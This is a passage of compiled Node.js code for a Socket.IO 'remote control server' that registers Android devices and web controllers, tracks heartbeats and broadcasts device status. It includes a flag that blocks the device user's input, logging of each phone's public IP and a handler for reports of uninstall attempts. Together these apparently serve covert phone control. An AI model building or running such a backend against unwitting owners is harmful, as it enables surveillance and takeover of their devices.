this.logger.warn(`⚠️ 卸载尝试检测数据不完整: ${JSON.stringify(data)}`); } }); // 处理断开连接 socket.on('disconnect', (reason) => { this.handleDisconnect(socket); }); // 🔧 添加心跳响应处理,解决Android客户端CONNECTION_TEST失败问题 socket.on('CONNECTION_TEST', (data) => { this.logger.info(`💓 收到设备心跳检测: ${socket.id}`); this.logger.debug(`💓 收到设备心跳检测: ${socket.id}`); try { // 🔧 关键修复:心跳时也要更新设备活跃时间 if (socket.deviceId) { const device = this.deviceManager.getDevice(socket.deviceId); if (device) { device.lastSeen = new Date(); this.logger.debug(`✅ 心跳更新设备活跃时间: ${socket.deviceId}`); } } socket.emit('CONNECTION_TEST_RESPONSE', { success: true, timestamp: Date.now(), receivedData: data }); this.logger.debug(`✅ 已回复CONNECTION_TEST确认消息到 ${socket.id}`); } catch (error) { this.logger.error(`❌ 回复CONNECTION_TEST失败:`, error); } }); // 处理标准ping/pong socket.on('ping', () => { socket.emit('pong'); }); // 处理自定义心跳 socket.on('heartbeat', (data) => { this.logger.debug(`💓 收到心跳: ${socket.id}`); socket.emit('heartbeat_ack', { timestamp: Date.now() }); }); // 错误处理 socket.on('error', (error) => { this.logger.error(`Socket错误 ${socket.id}:`, error); }); }); } /** * 处理设备注册 */ handleDeviceRegister(socket, data) { try { this.logger.info('开始处理设备注册...'); this.logger.info(`注册数据: ${JSON.stringify(data, null, 2)}`); const deviceId = data.deviceId || (0, uuid_1.v4)(); // 🔧 改进重连检测:检查是否是同一设备的不同Socket连接 const existingDevice = this.deviceManager.getDevice(deviceId); if (existingDevice) { if (existingDevice.socketId === socket.id && socket.deviceId === deviceId && socket.clientType === 'device') { // 完全相同的注册请求,跳过重复(但仍需确保Web端收到设备在线通知) this.logger.debug(`跳过重复注册: 设备${deviceId} Socket${socket.id}`); socket.emit('device_registered', { deviceId: deviceId, message: '设备已注册(跳过重复注册)' }); // ✅ 修复:即使跳过重复注册,也要确保Web端收到设备在线状态 const connectedClients = this.webClientManager.getClientCount(); if (connectedClients > 0) { this.logger.info(`📡 重复注册检测时确保广播设备在线状态: ${deviceId}`); this.webClientManager.broadcastToAll('device_connected', existingDevice); // 同时广播设备状态更新 this.webClientManager.broadcastToAll('device_status_update', { deviceId: existingDevice.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: existingDevice.inputBlocked || false } }); } return; } else if (existingDevice.socketId !== socket.id) { // ✅ 同一设备但不同Socket(重连场景),更新Socket映射 this.logger.info(`设备重连: ${deviceId} 从Socket${existingDevice.socketId} 切换到 ${socket.id}`); // 移除旧的Socket映射,继续正常注册流程 this.deviceManager.removeDevice(deviceId); this.databaseService.setDeviceOfflineBySocketId(existingDevice.socketId); } else { // ✅ 修复:设备存在且Socket相同,但可能是MessageRouter恢复的设备,需要重新注册以确保状态同步 this.logger.info(`设备已通过数据恢复,重新注册以确保状态同步: ${deviceId}`); this.deviceManager.removeDevice(deviceId); } } // 🔧 修复备注丢失问题:设备重新连接时从数据库恢复备注信息 const existingDbDevice = this.databaseService.getDeviceById(deviceId); const deviceInfo = { id: deviceId, socketId: socket.id, name: data.deviceName || 'Unknown Device', model: data.deviceModel || 'Unknown', osVersion: data.osVersion || 'Unknown', appVersion: data.appVersion || '1.0.0', appPackage: data.appPackage || null, appName: data.appName || null, screenWidth: data.screenWidth || 1080, screenHeight: data.screenHeight || 1920, capabilities: data.capabilities || [], connectedAt: new Date(), lastSeen: new Date(), status: 'online', inputBlocked: data.inputBlocked || false, isLocked: data.isLocked || false, // 初始化锁屏状态 remark: existingDbDevice?.remark || data.remark || null, // 🔧 优先使用数据库中的备注 publicIP: data.publicIP || null, // 🆕 添加系统版本信息字段 systemVersionName: data.systemVersionName || null, romType: data.romType || null, romVersion: data.romVersion || null, osBuildVersion: data.osBuildVersion || null }; this.logger.info(`设备信息: ${JSON.stringify(deviceInfo, null, 2)}`); // 保存到数据库 this.databaseService.saveDevice({ ...data, appPackage: data.appPackage || null, appName: data.appName || null }, socket.id); this.deviceManager.addDevice(deviceInfo); socket.deviceId = deviceInfo.id; socket.clientType = 'device'; // 通知设备注册成功 socket.emit('device_registered', { deviceId: deviceInfo.id, message: '设备注册成功' }); this.logger.info(`✅ 设备注册成功,已通知设备`); // 通知所有Web客户端有新设备连接 const connectedClients = this.webClientManager.getClientCount(); if (connectedClients > 0) { this.logger.info(`📡 通知 ${connectedClients} 个Web客户端有新设备连接`); this.webClientManager.broadcastToAll('device_connected', deviceInfo); } else { this.logger.info(`📡 暂无Web客户端连接,跳过设备连接通知`); } // ✅ 优化:设备重新连接时,Android端本身已经维护着真实状态 // 无需向Android端发送控制命令,只需要从数据库获取状态用于Web端显示即可 try { this.logger.info(`📊 记录设备状态: ${deviceInfo.id}`); const deviceState = this.databaseService.getDeviceState(deviceInfo.id); if (deviceState) { // 更新内存中的设备状态(用于Web端查询和显示) if (deviceState.inputBlocked !== null) { deviceInfo.inputBlocked = deviceState.inputBlocked; } this.logger.info(`✅ 设备状态已记录: ${deviceInfo.id} - 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`); // ✅ 修复:状态更新后再次广播完整的设备信息,确保Web端收到最新状态 if (connectedClients > 0) { this.logger.info(`📡 广播设备状态更新: ${deviceInfo.id}`); this.webClientManager.broadcastToAll('device_status_update', { deviceId: deviceInfo.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: deviceInfo.inputBlocked } }); } } else { this.logger.debug(`设备 ${deviceInfo.id} 没有保存的状态信息`); } } catch (error) { this.logger.error(`记录设备 ${deviceInfo.id} 状态失败:`, error); } // ✅ 修复:延迟再次确认设备在线状态,解决可能的时序问题 setTimeout(() => { const finalConnectedClients = this.webClientManager.getClientCount(); if (finalConnectedClients > 0) { const finalDeviceInfo = this.deviceManager.getDevice(deviceInfo.id); if (finalDeviceInfo) { this.logger.info(`📡 最终确认设备在线状态: ${deviceInfo.id}`); this.webClientManager.broadcastToAll('device_connected', finalDeviceInfo); } } }, 1000); // 1秒后再次确认 this.logger.info(`🎉 设备注册完成: ${deviceInfo.name} (${deviceInfo.id})`); this.logger.info(`当前连接的设备数量: ${this.deviceManager.getDeviceCount()}`); } catch (error) { this.logger.error('设备注册失败:', error); socket.emit('registration_error', { message: '设备注册失败' }); } } /** * 处理Web客户端注册 */ handleWebClientRegister(socket, data) { try { // 🔐 Web客户端认证验证:检查认证token const token = socket.handshake.auth?.token; if (!token) { this.logger.warn(`🔐 Web客户端注册缺少认证token: ${socket.id}`); socket.emit('auth_error', { message: '缺少认证token' }); socket.disconnect(); return; } // 验证token const authResult = this.authService.verifyToken(token); if (!authResult.valid) { this.logger.warn(`🔐 Web客户端认证失败: ${socket.id}, 错误: ${authResult.error}`); socket.emit('auth_error', { message: authResult.error || '认证失败' }); socket.disconnect(); return; } // 认证成功,记录用户信息 socket.userId = authResult.user?.id; socket.username = authResult.user?.username; this.logger.info(`🔐 Web客户端认证成功: ${socket.id}, 用户: ${authResult.user?.username}`); // 🔧 修复重复注册问题:检查是否已有相同Socket ID的客户端 const existingClient = this.webClientManager.getClientBySocketId(socket.id); if (existingClient) { this.logger.warn(`⚠️ Socket ${socket.id} 已有注册记录,更新现有客户端信息`); // 更新现有客户端的活动时间和用户代理 existingClient.lastSeen = new Date(); existingClient.userAgent = data.userAgent || existingClient.userAgent; existingClient.userId = authResult.user?.id; // 🔐 更新用户ID existingClient.username = authResult.user?.username; // 🔐 更新用户名 socket.clientId = existingClient.id; socket.clientType = 'web'; // 🔐 恢复用户的设备权限 if (authResult.user?.id) { this.webClientManager.restoreUserPermissions(authResult.user.id, existingClient.id); } // 发送当前设备列表(包含历史设备) const allDevices = this.getAllDevicesIncludingHistory(); socket.emit('client_registered', { clientId: existingClient.id, devices: allDevices }); this.logger.info(`♻️ Web客户端重连成功: ${existingClient.id}`); return; } const clientInfo = { id: (0, uuid_1.v4)(), socketId: socket.id, userAgent: data.userAgent || 'Unknown', ip: socket.handshake.address, connectedAt: new Date(), lastSeen: new Date(), userId: authResult.user?.id, // 🔐 添加用户ID username: authResult.user?.username // 🔐 添加用户名 }; this.webClientManager.addClient(clientInfo); socket.clientId = clientInfo.id; socket.clientType = 'web'; // 🔐 恢复用户的设备权限 if (authResult.user?.id) { this.webClientManager.restoreUserPermissions(authResult.user.id, clientInfo.id); } // 发送当前设备列表(包含历史设备) const allDevices = this.getAllDevicesIncludingHistory(); socket.emit('client_registered', { clientId: clientInfo.id, devices: allDevices }); this.logger.info(`✅ Web客户端注册成功: ${clientInfo.id} (IP: ${clientInfo.ip})`); this.logger.info(`📊 当前Web客户端数量: ${this.webClientManager.getClientCount()}`); } catch (error) { this.logger.error('Web客户端注册失败:', error); socket.emit('registration_error', { message: '客户端注册失败' }); } } /** * 处理连接断开 - 增强版,减少误判设备断开 */ handleDisconnect(socket) { this.logger.info(`连接断开: ${socket.id} (类型: ${socket.clientType})`); // 更新数据库中的断开连接记录 this.databaseService.updateDisconnection(socket.id); if (socket.clientType === 'device' && socket.deviceId) { const deviceId = socket.deviceId; this.logger.warn(`🔍 设备Socket断开: ${deviceId} (${socket.id})`); // 🔧 优化:短延迟验证断开状态,平衡误判防护和真实断开检测速度 // 因为Socket.IO的disconnect事件可能因为网络抖动等原因被误触发,但真正断开应该快速处理 setTimeout(() => { this.verifyDeviceDisconnection(deviceId, socket.id); }, 1500); // 1.5秒后验证,更快响应真实断开 } else if (socket.clientType === 'web' && socket.clientId) { // 🔧 优化Web客户端断开处理 const clientId = socket.clientId; const client = this.webClientManager.getClient(clientId); if (client) { // 如果客户端正在控制设备,释放控制权 if (client.controllingDeviceId) { this.logger.info(`🔓 Web客户端断开,释放设备控制权: ${client.controllingDeviceId}`); this.webClientManager.releaseDeviceControl(client.controllingDeviceId); // 通知设备控制者已离开 const deviceSocketId = this.deviceManager.getDeviceSocketId(client.controllingDeviceId); if (deviceSocketId) { const deviceSocket = this.io.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('controller_changed', { clientId: null }); } } } this.webClientManager.removeClient(clientId); this.logger.info(`Web客户端断开连接: ${clientId} (IP: ${client.ip})`); } else { // 通过Socket ID移除客户端 this.webClientManager.removeClientBySocketId(socket.id); this.logger.info(`Web客户端断开连接 (通过Socket ID): ${socket.id}`); } this.logger.info(`📊 当前Web客户端数量: ${this.webClientManager.getClientCount()}`); } else { // 🔧 处理未识别的连接类型 this.logger.warn(`⚠️ 未识别的连接断开: ${socket.id} (类型: ${socket.clientType})`); // 尝试清理可能存在的记录 this.webClientManager.removeClientBySocketId(socket.id); } } /** * 获取所有设备(包含历史设备) */ getAllDevicesIncludingHistory() { try { // ✅ 直接从数据库获取设备,状态已经正确存储 const allDbDevices = this.databaseService.getAllDevices(); // 获取内存中的在线设备,用于补充Socket ID const onlineDevices = this.deviceManager.getAllDevices(); const onlineDeviceMap = new Map(); onlineDevices.forEach(device => { onlineDeviceMap.set(device.id, device); }); // 转换为前端格式并补充Socket ID const devices = allDbDevices.map(dbDevice => { const onlineDevice = onlineDeviceMap.get(dbDevice.deviceId); return { id: dbDevice.deviceId, socketId: onlineDevice?.socketId || '', // 在线设备有Socket ID,离线设备为空 name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, appName: dbDevice.appName, remark: dbDevice.remark, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: dbDevice.capabilities, connectedAt: dbDevice.firstSeen, lastSeen: dbDevice.lastSeen, // ✅ 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态 status: onlineDevice ? 'online' : dbDevice.status, inputBlocked: onlineDevice?.inputBlocked || false, publicIP: dbDevice.publicIP, // 🆕 添加系统版本信息字段 systemVersionName: dbDevice.systemVersionName, romType: dbDevice.romType, romVersion: dbDevice.romVersion, osBuildVersion: dbDevice.osBuildVersion }; }); this.logger.info(`📊 获取设备列表: 总数=${devices.length}, 在线=${devices.filter(d => d.status === 'online').length}`); return devices; } catch (error) { this.logger.error('获取设备列表失败:', error); // 出错时返回内存中的设备 return this.deviceManager.getAllDevices(); } } /** * 🆕 获取活跃的Web客户端列表 */ getActiveWebClients() { try { const allClients = Array.from(this.webClientManager.getAllClients()); const activeClients = allClients.filter(client => { const socket = this.io.sockets.sockets.get(client.socketId); return socket && socket.connected; }); this.logger.debug(`📊 活跃Web客户端检查: 总数=${allClients.length}, 活跃=${activeClients.length}`); return activeClients.map(client => ({ id: client.id, userAgent: client.userAgent, ip: client.ip, connectedAt: client.connectedAt, lastSeen: client.lastSeen })); } catch (error) { this.logger.error('获取活跃Web客户端失败:', error); return []; } } /** * 广播设备状态 */ broadcastDeviceStatus(deviceId, status) { this.webClientManager.broadcastToAll('device_status_update', { deviceId, status }); } /** * ✅ 服务器启动时恢复设备状态 */ recoverDeviceStates() { setTimeout(() => { this.logger.info('🔄🔄🔄 开始恢复设备状态... 🔄🔄🔄'); // ✅ 首先将数据库中所有设备状态重置为离线 this.databaseService.resetAllDevicesToOffline(); // 获取所有已连接的Socket const connectedSockets = Array.from(this.io.sockets.sockets.values()); this.logger.info(`📊 发现已连接的Socket数量: ${connectedSockets.length}`); if (connectedSockets.length === 0) { this.logger.info('📱 没有发现已连接的Socket,等待设备主动连接...'); return; } // 向所有Socket发送ping,要求重新注册 connectedSockets.forEach((socket, index) => { try { this.logger.info(`📤 [${index + 1}/${connectedSockets.length}] 向Socket ${socket.id} 发送重新注册请求`); // 检查Socket是否仍然连接 if (!socket.connected) { this.logger.warn(`⚠️ Socket ${socket.id} 已断开,跳过`); return; } // 发送ping请求设备重新注册 socket.emit('server_restarted', { message: '服务器已重启,请重新注册', timestamp: new Date().toISOString() }); this.logger.info(`✅ server_restarted 事件已发送到 ${socket.id}`); // 同时发送通用ping socket.emit('ping_for_registration', { requireReregistration: true, serverRestartTime: new Date().toISOString() }); this.logger.info(`✅ ping_for_registration 事件已发送到 ${socket.id}`); } catch (error) { this.logger.error(`❌ 发送重新注册请求失败 (Socket: ${socket.id}):`, error); } }); // 5秒后检查恢复结果 setTimeout(() => { const recoveredDevices = this.deviceManager.getDeviceCount(); this.logger.info(`🎉 设备状态恢复完成! 恢复设备数量: ${recoveredDevices}`); if (recoveredDevices > 0) { // 广播设备列表更新 this.webClientManager.broadcastToAll('devices_recovered', { deviceCount: recoveredDevices, devices: this.deviceManager.getAllDevices() }); } else { this.logger.warn('⚠️ 没有设备恢复连接,可能需要手动重启设备应用'); } }, 5000); }, 2000); // 延迟2秒执行,确保服务器完全启动 } /** * ✅ 启动状态一致性检查定时器 */ startConsistencyChecker() { // 🔧 优化:平衡检查频率,快速发现断开同时避免心跳冲突 setInterval(() => { this.checkAndFixInconsistentStates(); }, 60000); // 改为每1分钟检查一次,平衡检测速度和稳定性 // ✅ 新增:每10秒刷新一次设备状态给Web端,确保状态同步 setInterval(() => { this.refreshDeviceStatusToWebClients(); }, 10000); // 每10秒刷新一次 this.logger.info('✅ 状态一致性检查定时器已启动(1分钟间隔)- 平衡版本,快速检测断开+避免心跳误判+主动连接测试'); } /** * ✅ 检查和修复不一致状态 - 增强版,减少误判 */ checkAndFixInconsistentStates() { try { const memoryDevices = this.deviceManager.getAllDevices(); let fixedCount = 0; const currentTime = Date.now(); this.logger.debug(`🔍 开始状态一致性检查,检查 ${memoryDevices.length} 个设备`); for (const device of memoryDevices) { const socket = this.io.sockets.sockets.get(device.socketId); // 🔧 修复:增加多重验证条件,避免误判 const socketExists = !!socket; const socketConnected = socket?.connected || false; const timeSinceLastSeen = currentTime - device.lastSeen.getTime(); const isRecentlyActive = timeSinceLastSeen < 180000; // 3分钟内有活动 this.logger.debug(`📊 设备 ${device.id} 状态检查: socket存在=${socketExists}, 连接=${socketConnected}, 最后活跃=${Math.round(timeSinceLastSeen / 1000)}秒前`); // 🔧 平衡的断开判断逻辑:快速检测真实断开,避免心跳期间误判 // 1. Socket必须完全不存在(不检查connected状态,因为心跳期间可能瞬时为false) // 2. 且设备超过2分钟无活动(适中的容错时间,足够检测真实断开) // 3. 且不是刚连接的设备(避免恢复期间的竞态条件) const shouldRemove = !socketExists && timeSinceLastSeen > 120000 && // 2分钟无活动才考虑断开 (currentTime - device.connectedAt.getTime()) > 60000; // 连接超过1分钟才检查 if (shouldRemove) { this.logger.warn(`⚠️ 确认设备真正断开: ${device.id} (${device.name})`); this.logger.warn(` - Socket存在: ${socketExists}, 连接: ${socketConnected}`); this.logger.warn(` - 最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前`); this.logger.warn(` - 连接时长: ${Math.round((currentTime - device.connectedAt.getTime()) / 1000)}秒`); // 🔧 优化:适中的二次确认延迟,快速清理真正断开的设备 setTimeout(() => { this.performSecondaryDeviceCheck(device.id, device.socketId); }, 3000); // 3秒后二次确认 } else { // 设备状态正常或在容错范围内 if (!socketExists || !socketConnected) { this.logger.debug(`⏸️ 设备 ${device.id} Socket状态异常但在容错范围内 (最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前)`); } } } if (fixedCount > 0) { this.logger.info(`🔧 状态一致性检查完成,修复了 ${fixedCount} 个不一致状态`); } else { this.logger.debug(`✅ 状态一致性检查完成,所有设备状态正常`); } } catch (error) { this.logger.error('状态一致性检查失败:', error); } } /** * 🔧 验证设备断开连接 - 平衡策略:快速检测真实断开,避免误判 * * 优化策略: * 1. Socket不存在时立即清理(真正断开) * 2. Socket存在但未连接时主动测试(CONNECTION_TEST) * 3. 测试无响应时确认断开,有响应时恢复状态 * 4. 缩短各种延迟时间,提高响应速度 */ verifyDeviceDisconnection(deviceId, socketId) { try { const device = this.deviceManager.getDevice(deviceId); if (!device) { this.logger.debug(`📋 验证断开时设备 ${deviceId} 已不在内存中,可能已被其他逻辑清理`); return; } // 检查设备是否已经重新连接(新的Socket ID) if (device.socketId !== socketId) { this.logger.info(`✅ 设备 ${deviceId} 已重新连接,新Socket: ${device.socketId},跳过断开处理`); return; } const socket = this.io.sockets.sockets.get(socketId); const currentTime = Date.now(); const timeSinceLastSeen = currentTime - device.lastSeen.getTime(); // 🔧 优化:区分不同断开场景的检查条件 const socketExists = !!socket; const socketConnected = socket?.connected || false; const hasRecentActivity = timeSinceLastSeen < 5000; // 5秒内有活动 this.logger.info(`🔍 验证设备 ${deviceId} 断开状态:`); this.logger.info(` - Socket存在: ${socketExists}, 连接: ${socketConnected}`); this.logger.info(` - 最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前`); this.logger.info(` - 近期活跃: ${hasRecentActivity}`); // 🔧 关键优化:如果Socket不存在,很可能是真正的断开 if (!socketExists) { this.logger.warn(`❌ Socket完全不存在,确认设备真实断开: ${deviceId}`); this.executeDeviceCleanup(deviceId, device); return; } // 🔧 如果Socket存在但未连接,且无近期活动,尝试主动测试连接 if (!socketConnected && !hasRecentActivity) { this.logger.warn(`🔍 Socket存在但未连接,主动测试设备连接: ${deviceId}`); this.testDeviceConnection(deviceId, socketId, device); return; } // 设备状态正常,确保Web端知道设备在线 this.logger.info(`✅ 验证结果:设备 ${deviceId} 仍然在线,disconnect事件是误报`); this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); } catch (error) { this.logger.error(`验证设备断开失败 (${deviceId}):`, error); } } /** * 🆕 主动测试设备连接 */ testDeviceConnection(deviceId, socketId, device) { const socket = this.io.sockets.sockets.get(socketId); if (!socket) { this.logger.warn(`❌ 测试连接时Socket已不存在: ${deviceId}`); this.executeDeviceCleanup(deviceId, device); return; } this.logger.info(`📡 向设备 ${deviceId} 发送连接测试`); // 设置响应超时 let responded = false; const timeout = setTimeout(() => { if (!responded) { this.logger.warn(`⏰ 设备 ${deviceId} 连接测试超时,确认断开`); this.executeDeviceCleanup(deviceId, device); } }, 5000); // 5秒超时 // 发送测试ping try { socket.emit('CONNECTION_TEST', { timestamp: Date.now(), testId: `verify_${Date.now()}` }); // 监听一次性响应 const responseHandler = (data) => { responded = true; clearTimeout(timeout); this.logger.info(`✅ 设备 ${deviceId} 连接测试成功,设备仍在线`); // 更新设备活跃时间 device.lastSeen = new Date(); // 确保Web端知道设备在线 this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); // 清理监听器 socket.off('CONNECTION_TEST_RESPONSE', responseHandler); }; socket.once('CONNECTION_TEST_RESPONSE', responseHandler); } catch (error) { responded = true; clearTimeout(timeout); this.logger.error(`❌ 发送连接测试失败: ${deviceId}`, error); this.executeDeviceCleanup(deviceId, device); } } /** * 🆕 执行设备清理逻辑 */ executeDeviceCleanup(deviceId, device) { this.logger.warn(`🧹 执行设备清理: ${deviceId} (${device.name})`); // 释放控制权 const controllerId = this.webClientManager.getDeviceController(deviceId); if (controllerId) { this.logger.info(`🔓 设备断开,自动释放控制权: ${deviceId} (控制者: ${controllerId})`); this.webClientManager.releaseDeviceControl(deviceId); // 通知控制的Web客户端设备已断开 this.webClientManager.sendToClient(controllerId, 'device_control_lost', { deviceId: deviceId, reason: 'device_disconnected', message: '设备已断开连接' }); } // 清理设备 this.deviceManager.removeDevice(deviceId); this.databaseService.setDeviceOffline(deviceId); this.webClientManager.broadcastToAll('device_disconnected', deviceId); this.logger.info(`✅ 已清理断开的设备: ${device.name} (${deviceId})`); } /** * 🔧 二次确认设备是否真正断开(避免误判) */ performSecondaryDeviceCheck(deviceId, socketId) { try { const device = this.deviceManager.getDevice(deviceId); if (!device) { this.logger.debug(`📋 二次检查时设备 ${deviceId} 已不在内存中,跳过`); return; } const socket = this.io.sockets.sockets.get(socketId); const currentTime = Date.now(); const timeSinceLastSeen = currentTime - device.lastSeen.getTime(); // 🔧 优化:二次检查条件更合理,60秒无活动就考虑断开 const socketExists = !!socket; const socketConnected = socket?.connected || false; const isInactive = timeSinceLastSeen > 60000; // 1分钟无活动 this.logger.info(`🔍 二次确认设备 ${deviceId} 状态:`); this.logger.info(` - Socket存在: ${socketExists}, 连接: ${socketConnected}`); this.logger.info(` - 最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前`); if (!socketExists || (!socketConnected && isInactive)) { this.logger.warn(`❌ 二次确认:设备 ${deviceId} 确实已断开,执行清理`); this.executeDeviceCleanup(deviceId, device); } else { this.logger.info(`✅ 二次确认:设备 ${deviceId} 状态正常,保持连接`); // 设备状态恢复正常,确保Web端知道设备在线 if (socketExists && socketConnected) { this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); } } } catch (error) { this.logger.error(`二次设备检查失败 (${deviceId}):`, error); } } /** * ✅ 刷新设备状态给Web客户端 */ refreshDeviceStatusToWebClients() { try { const webClientCount = this.webClientManager.getClientCount(); if (webClientCount === 0) { return; // 没有Web客户端,跳过刷新 } const onlineDevices = this.deviceManager.getAllDevices(); for (const device of onlineDevices) { // 验证设备Socket仍然连接 const socket = this.io.sockets.sockets.get(device.socketId); if (socket && socket.connected) { // 广播设备在线状态 this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); } } if (onlineDevices.length > 0) { this.logger.debug(`🔄 已刷新 ${onlineDevices.length} 个设备状态给 ${webClientCount} 个Web客户端`); } } catch (error) { this.logger.error('刷新设备状态失败:', error); } } /** * 启动服务器 */ async start(port = 3001) { try { // 🆕 先初始化 AuthService(确保超级管理员账号已创建) this.logger.info('正在初始化认证服务...'); await this.authService.initialize(); this.logger.info('认证服务初始化完成'); // 然后启动服务器 this.server.listen(port, () => { this.logger.info(`远程控制服务器启动成功,端口: ${port}`); this.logger.info(`WebSocket服务地址: ws://localhost:${port}`); this.logger.info(`HTTP API地址: http://localhost:${port}`); this.logger.info(`🔧 关键修复已应用:`); this.logger.info(` - Socket.IO心跳配置优化 (5分钟超时/2分钟间隔)`); this.logger.info(` - 延迟验证disconnect事件 (3秒验证期)`); this.logger.info(` - 增强设备活跃时间更新机制`); this.logger.info(` - 减少状态检查器误判 (90秒间隔)`); // ✅ 关键修复:服务器启动后立即恢复设备状态 this.recoverDeviceStates(); }); } catch (error) { this.logger.error('服务器启动失败:', error); // 即使初始化失败,也尝试启动服务器(可能已经有用户数据) this.server.listen(port, () => { this.logger.warn('服务器已启动,但认证服务初始化可能未完成'); this.logger.info(`远程控制服务器启动成功,端口: ${port}`); this.recoverDeviceStates(); }); } // 处理进程退出 process.on('SIGINT', () => { this.logger.info('正在关闭服务器...'); this.server.close(() => { this.logger.info('服务器已关闭'); process.exit(0); }); }); } } // 添加全局错误处理,防止未捕获的异常导致程序崩溃 process.on('uncaughtException', (error) => { console.error('未捕获的异常:', error); console.error('错误堆栈:', error.stack); // 不退出进程,记录错误并继续运行 }); process.on('unhandledRejection', (reason, promise) => { console.error('未处理的Promise拒绝:', reason); if (reason instanceof Error) { console.error('错误堆栈:', reason.stack); } // 不退出进程,记录错误并继续运行 }); // 启动服务器 const server = new RemoteControlServer(); const port = process.env.PORT ? parseInt(process.env.PORT) : 3001; server.start(port).catch((error) => { console.error('服务器启动失败:', error); process.exit(1); }); //# sourceMappingURL=index.js.map